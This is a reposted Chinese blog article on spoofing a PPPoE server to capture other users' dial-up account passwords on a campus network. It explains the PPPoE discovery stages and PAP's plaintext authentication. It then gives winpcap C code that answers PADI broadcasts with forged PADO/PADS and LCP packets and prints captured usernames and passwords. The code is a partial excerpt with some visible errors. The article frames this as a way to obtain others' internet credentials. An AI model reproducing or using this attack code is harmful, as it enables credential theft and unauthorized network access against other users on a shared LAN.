利用PPPOE欺骗截取上网帐号密码

来源:互联网 发布:mac high sierra 更新 编辑:程序博客网 时间:2024/05/21 22:34

摘要:本文主要讲解PPOE协议的PAP密码验证原理,并利用winpcap编写一个程序来通过PAP验证漏洞来获取局域网内其他主机的上网密码。

 

学校的校园网通过拨号方式来实现计费。通过对TCPIP的学习,知道是利用PPPOE进行连接,密码验证是使用的PAP密码验证。

协议实现

PPPOE连接分为发现阶段(Discovery stage)及会话阶段(PPP Session stage)。发现阶段实现客户端与服务器的互相确认,会话阶段则实现数据通信。完成发现阶段后,会进行LCP协议协商,紧接着便会进行密码确认。

发现阶段的PPPOE的code标志代码为0x6388,其过程主要分为以下几个步骤:

PPPoE活动发现初始(PADI) 包

主机发送PADI(PPPoE Active Discovery Initiation)包,此时目标地址被设置为广播地址。CODE域设置为0x09,同时,SESSION_ID必须被设置为0x0000。

 

PADI包必须包含正确的、类型为服务名称(Service- Name)的标签,用于指出主机正在请求的服务。也可以包含任意数量的其他标签类型。整个PADI包(包括PPPoE包头),必须不超过1484字节(8位),以便有足够的空间用于中继代理增加中继会话ID(Relay-Session-Id)标签。

 

PPPoE活动发现提议(PADO) 包

当访问集中器接收到它可以提供服务的PADI包,它通过发送一个PADO(PPPoE Active Discovery Offer)包来响应。目标地址是发送PADI的主机的单播地址。CODE域被设置为0x07,同时,SESSION_ID必须被设置为0x0000。

 

PADO包必须包含一个AC名称(AC-Name)标签,其中有访问集中器的名称;同时,必须包含一个服务名称(Service-Name)标签来标识PADI中的服务名称,同时可以包含任意数量的其他服务名称(Service-Name)标签来指出该访问集中器提供的其他服务。如果该访问集中器不能为这个PADI包提供服务,则它必须不能用PADO做出应答。

 

PPPoE活动发现请求(PADR) 包

因为PADI是广播包,所以主机可能接收到多个PADO。主机需要审核这些PADO包,并且从中选择一个。这个选择可以基于所提供的AC名称(AC-Name)或者服务。然后,主机发送PADR(PPPoE Active Discovery Request)包给被选中的访问集中器。目标地址被设置为这个发送PADO的访问集中器的单播以太网地址。CODE域被设置为0x19,同时,SESSION_ID必须被设置为0x0000。

 

PADR包必须包含一个正确的服务名称(Service-Name)标签,该标签指出主机所请求的服务。同时可以包含任意数量的其他标签。

 

PPPoE活动发现会话确认(PADS) 包

当访问集中器接收到PADR包时,它开始准备开始一个PPP会话。它为PPPoE会话创建一个唯一的会话ID(SESSION_ID),并用PADS(PPPoE Active Discovery Session-confirmation)包回复给主机。目标地址域设置为发送PADR的主机的单播以太网地址。CODE域设置为0x65,同时,SESSION_ID必须设置为刚为本次PPPoE会话创建的唯一值。

 

PADS包包含一个正确的服务名称(Service-Name)标签,该标签指出这个接收了PPPoE会话的访问集中器的服务。同时可以包含任意数量的其他标签。

 

如果访问集中器不喜欢PADR中的服务名称,则它必须在回复的PADS中包含服务名称错误(Service-Name-Error)标签(以及任意数量的其他标签)。这时,SESSION_ID必须被设置为0x0000。

 

PPPoE活动发现终止(PADT) 包

这个包可以在会话建立之后的任意时刻发送,用于指出这个PPPoE会话已经被终止。主机或者访问集中器都可以发送这个包。目标地址被设置为单播以太网地址,CODE域被设置为0xa7,SESSION_ID MUST必须设置为将被终止的会话的ID。这个包不需要任何标签。

 

 

当接收到一个PADT(PPPoE Active Discovery Terminate)时,任何使用该会话的PPP通信都是不允许的。在发送或者接收到一个PADT后,即使正常的PPP终止包也必须不再被发送。PPP端应该使用PPP协议本身来关闭一个PPPoE会话,但PADT可以用于PPP不能使用的情况。

 

LCP发现阶主机相互确认了身份,然后进入会话阶段,进行协议协商阶段(LCP)。大致过程是发送请求包,发送确认包。然后进行密码验证,此过程中帐号密码是明文保存的。

协议漏洞

要想进行PPOE连接,客户机首先会发出一个目标MAC地址为FF:FF:FF:FF:FF:FF的广播数据包。PPOE服务器接收到此包,会发送一个含有自己MAC地址的数据包给客户机告诉其自己的MAC地址。然后两台计算机进行互相通信,发现阶段过后客户机就会提交帐号密码。

由于客户机最初发出的是广播包,局域网内任何一台电脑都可以接收到。当接收到一个PPOE发现数据包,我们如果立即发送一个应答包来假冒PPPOE服务器。若此欺骗包先于真正的应答包被客户机接收,那么客户机就会认为我们的计算机就是PPOOE服务器,此后的通讯包就会发送到我们的计算机MAC地址上。而由于PAP密码认证是用明文来传输帐号密码,所以我们就可以轻易通过欺骗客户机来截取其上网密码。

利用代码

[转载]利用PPPOE欺骗截取上网帐号密码

以下是关键代码

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
 int i;
 struct tm *ltime;
 char timestr[16];
 time_t local_tv_sec;
 MAC_header *mac_header;
 PPP_header *ppp_header;
 PAP_header *pap_header;

 mac_header = (MAC_header *)pkt_data;
 
 //发现阶段
 if (mac_header->Type == 0x6388){

  ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));

  if(ppp_header->code == 0x09){ //客户端请求发现ppp服务器 PADI
   send_pado_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
   
   puts("开始欺骗!");
  }

  if (ppp_header->code == 0x19 && mac_header->MAC_Destination[0] == 0x00 && mac_header->MAC_Destination[1] == 0x03 && mac_header->MAC_Destination[2] == 0x0d && mac_header->MAC_Destination[3] == 0x97 && mac_header->MAC_Destination[4] == 0xfd && mac_header->MAC_Destination[5] == 0x71) //确定使用此ppp服务器  PADR
  {
   puts("欺骗成功!正在建立连接!");
   cnt = 0;
   send_pads_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
   send_lcp_request_packet(mac_header->MAC_Source);
   
   
  }
  //exit(0);
 }

 //会话阶段
 if (mac_header->Type == 0x6488) //&& mac_header->MAC_Source[0] == 0x00 && mac_header->MAC_Source[1] == 0x03 && mac_header->MAC_Source[2] == 0x0d && mac_header->MAC_Source[3] == 0x97 && mac_header->MAC_Source[4] == 0xfd && mac_header->MAC_Source[5] == 0x71)
 {
  //printf(".");
  
  ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));

  if (ppp_header->protocol == 0x21c0 && mac_header->MAC_Source[5] != 0x71) //LCP //回应确认code
  {
   printf("%dnn",*(INT8U *)((int)ppp_header + sizeof(PPP_header)));


   if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 1){
    if (cnt == 1){
     puts("发送确认lcp包");
     send_lcp_ack_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
     cnt = 0;
    }else{
     cnt++;
            
   }

   if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 2){
    puts("发送拒绝lcp包");
    send_lcp_refuse_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
   }
  }


  if (ppp_header->protocol == 0x23c0) //PAP
  {
   puts("!!!!!!!!!!!!!!!! n");

   pap_header = (PAP_header *)((int)ppp_header + sizeof(PPP_header));

   printf("帐号:");

   for (i = 0; i < pap_header->idlen; i++)
   {
    printf("%c", ((char *)pap_header)[sizeof(PAP_header) + i -1]);
   }
   
   printf("n密码:");
   
   for (i = 0; i < 6; i++)
   {
    printf("%c", ((char *)pap_header)[sizeof(PAP_header) + pap_header->idlen + i]);
   }

   puts("");

   //exit(0);

  }

 }

}

参考资料

TCP/IP详解》

RFC2516--PPPoE协议》

《协议分析- PPPOE Discovery协议解码详解》


原文作者:张养静

联系方式:zhangyangjing#gmail.com

原文地址:http://blog.sina.com.cn/zhangyangjing

要转载请注明版权到此位置。

原创粉丝点击